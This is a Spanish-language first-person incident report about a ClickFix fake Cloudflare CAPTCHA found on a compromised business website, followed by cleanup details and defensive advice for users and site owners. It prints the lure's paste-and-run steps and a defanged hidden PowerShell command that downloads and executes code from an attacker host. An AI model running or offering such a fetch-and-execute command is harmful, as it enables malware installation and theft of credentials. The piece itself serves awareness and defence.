Soy cliente de un negocio desde hace varios años, necesitaba un dato de ellos y fui a buscarlo en su página web, así que hice lo que hace todo el mundo, escribí el nombre del negocio en Google, apareció su página en los resultados y le di clic.
La página cargó con normalidad, pero encima apareció otra cosa.
Una ventana naranja con el logotipo de Cloudflare, el título “Human Verification”, un “Verifying…” girando de fondo y, al pie, un código hexadecimal con el aspecto de un Ray ID. El Ray ID es el identificador que Cloudflare asigna a una solicitud y que aparece en sus páginas reales, algo parecido al número de referencia de esa petición concreta, por lo que imitarlo ayuda a que la ventana parezca auténtica.
Debajo aparecían cuatro instrucciones numeradas:
- Pulsa Windows + X
- Pulsa I (o elige Terminal)
- Pulsa Ctrl + V
- Pulsa Enter
No pulsé nada.
Qué era esa “verificación humana”
Esto tiene nombre propio. Se llama ClickFix, a veces se describe como paste-and-run y con frecuencia se presenta como un fake CAPTCHA, aunque el CAPTCHA falso es solo uno de los disfraces que puede utilizar.
MITRE ATT&CK, una base de conocimiento sobre las tácticas y técnicas utilizadas por atacantes, la clasifica como una subtécnica de User Execution, T1204.004, “Malicious Copy and Paste”, que se incorporó formalmente al marco el 18 de marzo de 2025.
La técnica consiste en presentar al usuario una solución aparentemente útil, un error que arreglar o una verificación que completar, cuando lo que realmente intenta conseguir el atacante es que la propia persona copie, pegue y ejecute un comando.
Microsoft también ha documentado campañas ClickFix en páginas legítimas comprometidas que utilizan falsas verificaciones de Cloudflare, un escenario muy parecido al que tenía delante.
El ataque no llega como un adjunto ni necesita que abras una descarga tradicional y tampoco necesita explotar una vulnerabilidad del equipo para iniciar la cadena, porque la parte decisiva ocurre cuando la propia víctima abre un intérprete de comandos y ejecuta lo que la página le indica.
Eso puede permitirle esquivar algunas defensas centradas en descargas o en lo que ocurre dentro del navegador, aunque no significa que la actividad sea invisible. PowerShell es una herramienta legítima de Windows, pero Defender y otras soluciones de seguridad pueden inspeccionar scripts y detectar comportamientos sospechosos.
La técnica funciona porque consigue que sea la propia persona quien cruce esa frontera. No necesita que confíes plenamente en la página, solo que sigas cuatro instrucciones que parecen parte de un trámite de verificación.
En campañas de este tipo, la página coloca o intenta colocar un comando en el portapapeles utilizando funciones que ofrece el navegador. Los cuatro pasos no verifican nada, te llevan a abrir el Terminal, pegar lo que quedó en el portapapeles y ejecutarlo.
Este tipo de ataque aparece tanto en sitios creados por el atacante como en páginas de negocios legítimos que han sido comprometidas, y entre las vías utilizadas para llevar gente hasta ellas están la publicidad maliciosa, el envenenamiento de resultados de búsqueda y el correo.
Yo llegué desde un resultado de Google.
Qué hice, y qué no pude hacer
Cerré la pestaña, saqué capturas y analicé el comando, quitando la URL original a propósito.
powershell -w h "iex(irm 'hxxp://<host-del-atacante>/<token>')"; exit-w h intenta iniciar PowerShell con la ventana oculta, irm, alias de Invoke-RestMethod, recupera contenido desde el servidor del atacante y iex, alias de Invoke-Expression, ejecuta directamente el contenido recibido sin que ese primer script tenga que guardarse antes como un archivo. Eso no significa que las siguientes etapas no puedan escribir en disco y ; exit simplemente termina la sesión de PowerShell desde la que se lanzó el comando.
Entre las cargas más comunes en campañas de este tipo están los ladrones de información capaces de buscar credenciales, contraseñas del navegador, cookies de sesión, tarjetas guardadas o monederos digitales.
Desde fuera no podía determinar mucho más, así que me limité a observar lo que estaba ocurriendo en el navegador, documentarlo y avisar al negocio.
Redacté un informe con lo que había podido observar, expliqué el comando pieza por pieza, incluí los dominios implicados para que pudieran bloquearlos y añadí recomendaciones para su proveedor técnico. Yo también aproveché para bloquear esos dominios en mi entorno por precaución.
El negocio actuó
Ellos actuaron de forma responsable, contactaron el mismo día con su proveedor de alojamiento, ampliaron la protección de la web, lanzaron un escaneo de seguridad y retiraron lo que apareció.
El resultado respaldó el aviso y el servicio de seguridad identificó y retiró 14 ficheros sospechosos repartidos entre cuatro plugins distintos.
| Plugin | Ficheros |
|---|---|
| google-listings-and-ads | 8 |
| forminator | 4 |
| helpie-faq | 1 |
| woo-order-export-lite | 1 |
Tenían nombres poco visibles como .key, .sym, .comp, .entity, .factor, .flag, .data_chunk o .property_set.
Empezaban por punto, por lo que normalmente quedan ocultos en los listados convencionales, no utilizaban extensiones PHP reconocibles y estaban enterrados en rutas profundas, muchas de ellas dentro de carpetas vendor/ y otras dependencias de terceros donde pueden pasar fácilmente desapercibidos durante una revisión manual.
Que aparecieran archivos de este tipo repartidos entre cuatro plugins distintos sugiere un proceso automatizado recorriendo el sistema de archivos y dejando copias en rutas profundas, más que una edición manual aislada.
El escaneo también encontró varias vulnerabilidades y una de las que requería atención inmediata estaba en WooCommerce Subscriptions. El sitio tenía instalada la versión 7.5.0 y el proveedor recomendó actualizarla a la 9.1.0.
La vulnerabilidad, CVE-2026-18391, afecta a versiones anteriores a la 9.1.0 cuando High-Performance Order Storage (HPOS) está habilitado y puede permitir que un atacante no autenticado escale una inyección de objetos PHP hasta ejecución remota de código. WooCommerce recomendó actualizar a la versión 9.1.0 o posterior.
Que esa vulnerabilidad estuviera presente no demuestra que fuera la vía utilizada para comprometer esta web. Sin los registros históricos necesarios no podía establecer esa relación ni determinar cuándo comenzó el compromiso.
Lo que sí podía demostrar era que la web estaba afectada cuando la visité y que el análisis posterior encontró elementos que requerían limpieza, además de varias vulnerabilidades que necesitaban atención.
El negocio es una víctima, igual que lo habría sido cualquier visitante que siguiera las instrucciones, y su reacción fue responsable porque actuaron el mismo día ante un aviso no solicitado y tomaron medidas para proteger la web, algo que también merece reconocerse.
Si eres usuario, qué no hacer
Hay una regla práctica que merece la pena recordar, ninguna verificación web legítima necesita que abras Terminal, PowerShell o Ejecutar y pegues un comando.
Una página puede pedirte que hagas clic, introduzcas un código o completes un CAPTCHA, pero si para “verificarte” te pide salir del navegador, abrir un intérprete de comandos y ejecutar algo, trátalo como un ataque.
- No pegues ni ejecutes nada y cierra la pestaña.
- Haz una captura y avisa al negocio, es muy posible que no sepa lo que está ocurriendo en su propia web.
- Si ya ejecutaste el comando, desconecta el equipo de la red y contacta con tu departamento de TI o con alguien de confianza desde otro dispositivo. Si se trata de un equipo corporativo, sigue sus instrucciones antes de reiniciarlo o apagarlo para no destruir información que pueda ayudar en la investigación.
- Cambia las contraseñas desde un equipo limpio y pide que se revoquen todas tus sesiones activas, no solo que se cambien las claves, porque una sesión robada puede seguir siendo válida sin pedir de nuevo contraseña ni segundo factor.
- Si se confirma el compromiso o no puede descartarse, la opción más segura suele ser reinstalar o reimaginar el equipo desde un estado conocido y confiable, en lugar de asumir que una limpieza encontró todo.
Si tienes un negocio con página web, qué puedes hacer
Tu página web es una aplicación que trabaja para ti las 24 horas, atiende, cobra y puede guardar información de tus clientes.
No hace falta ser técnico para cuidarla, basta con sentarse de vez en cuando con quien la mantiene y hacer cinco preguntas.
- ¿Qué plugins tenemos y están al día? Pide la lista y sus versiones, y los que ya no se utilizan, fuera, porque cada plugin añade código de terceros y amplía la superficie que hay que mantener.
- ¿Cada cuánto se revisa la web en busca de vulnerabilidades? Un escaneo periódico puede avisar de componentes vulnerables antes de que se conviertan en un problema.
- ¿Cómo se aplican las actualizaciones de seguridad y con qué rapidez? Lo importante es que exista un proceso y que las correcciones importantes no dependan de que alguien se acuerde semanas después.
- ¿Cuántos días de registros guarda nuestro plan? Los logs son la memoria del servidor y, si un día ocurre algo, son una de las principales formas de reconstruir cuándo empezó y hasta dónde llegó.
- ¿Tenemos doble factor en el panel de alojamiento y en la administración de la web? Una contraseña por sí sola no debería ser la única barrera para entrar en las cuentas que controlan el sitio.
Y si algún día toca un incidente, pide un cierre breve por escrito que explique por dónde creen que entraron, qué se encontró, qué se limpió, qué cuentas o credenciales se cambiaron y qué cosas no pudieron determinar.
No es desconfianza hacia nadie, es dejar la casa mejor preparada para la próxima.
La ciberseguridad es cosa de todos
La primera señal de este caso no llegó de una herramienta, llegó de un cliente que iba a buscar una información en una página web y se detuvo cinco segundos delante de una pantalla que no le cuadraba.
Después sí hicieron falta herramientas, conocimiento técnico y la actuación del proveedor para investigar y limpiar.
Es difícil que una empresa pueda vigilar sola todo lo que ocurre en su superficie digital y ningún usuario está protegido solo por tener un antivirus. Lo que ayuda es algo mucho más básico, que quien ve algo extraño lo diga, que quien recibe el aviso lo tome en serio y que quien tiene conocimiento técnico comparta lo aprendido cuando hacerlo pueda ayudar a otros.
Si te encuentras algo así, avisa, si te avisan, actúa, y si trabajas en TI, documenta y comparte lo que puedas porque esa información puede ser justo lo que ayude a otra persona a reconocer el mismo ataque antes de ejecutar el comando.
Una comunidad más segura no se construye solo con más herramientas, también se construye con más gente avisando, escuchando y compartiendo lo que aprende.
Por: Cesar Rosa Polanco - Escrito a partir de una experiencia real, con asistencia de inteligencia artificial como herramienta de apoyo editorial.
